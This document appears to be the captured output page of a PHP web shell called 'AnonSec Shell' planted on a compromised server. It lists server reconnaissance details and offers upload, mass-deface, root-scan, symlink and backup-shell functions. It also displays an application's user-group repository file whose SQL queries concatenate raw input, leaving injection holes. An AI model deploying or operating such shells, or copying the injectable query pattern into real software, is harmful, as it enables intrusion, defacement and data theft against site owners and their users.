AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/model/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/model/UserGroupAccessibilityRepository.php

<?php

namespace Promoteus;


use Nette\Database\Context;
use Nette\Database\ResultSet;
use Nette\Security\User;

/**
 * Table "user_group_accessibility"
 */
class UserGroupAccessibilityRepository extends Repository
{
    protected $tableName = 'user_group_accessibility';

    /** @var Context */
    protected $db;

    /* ['table_name'=>'column_name']*/
    protected $foreignKeys = [];
    /**
     * @var User
     */
    protected $user;

    /**
     * @param Context $db
     */
    public function __construct(Context $db)
    {
        $this->db = $db;
    }

    public function inaccessibleProducts($group_id) {

        if ($group_id) {
            $data = $this->db->query('SELECT UPPER(product_code) as product_code FROM user_group_accessibility WHERE product_visible = 0 AND user_group_id ='.$group_id)->fetchPairs();
            return $data;
        } else {
            return [];
        }
    }

    public function inaccessibleProductsAltus($group_id) {

        if ($group_id) {
            $data = $this->db->query('SELECT product_altus_code 
                                            FROM user_group_accessibility uga 
                                            JOIN link_product_product_altus lppa USING(product_code) 
                                            WHERE product_visible = 0 AND user_group_id ='.$group_id)->fetchPairs();
            return $data;
        } else {
            return [];
        }
    }

    public function inaccessibleProductsAll($group_id) {

        if ($group_id) {
            $products = $this->inaccessibleProducts($group_id);
            $productsAltus = $this->inaccessibleProductsAltus($group_id);
            $data = array_merge($products,$productsAltus);
            return $data;

        } else {
            return [];
        }
    }

    public function getUserGroupData($id) {
        $data = $this->db->query(
            'SELECT ug.id,ug.title, uga.product_visible,uga.product_code FROM user_group_accessibility uga
                     LEFT JOIN user_group ug ON uga.user_group_id=ug.id
                     WHERE ug.id = ?',$id)->fetchAll();

        return $data;
    }

    public function getUserGroupInfo($id){
        $data = $this->db->query('
                    SELECT * 
                    FROM user_group ug
                       WHERE ug.id = ?
                    ', $id)->fetch();

        return $data;
    }

    public function deleteUserGroup($id) {
        return $this->db->query('DELETE FROM user_group_accessibility WHERE user_group_id =' . $id );
    }

    public function insertFromExcel($group_id,$products) {
        foreach ($products as $product => $visibility) {
            $sql = $this->db->query('INSERT INTO user_group_accessibility (user_group_id,product_code,product_visible) VALUES (' . $group_id . ',"' . $product . '",' . $visibility . ')');
        }

        return $sql;
    }

}

Anon7 - 2022
AnonSec Team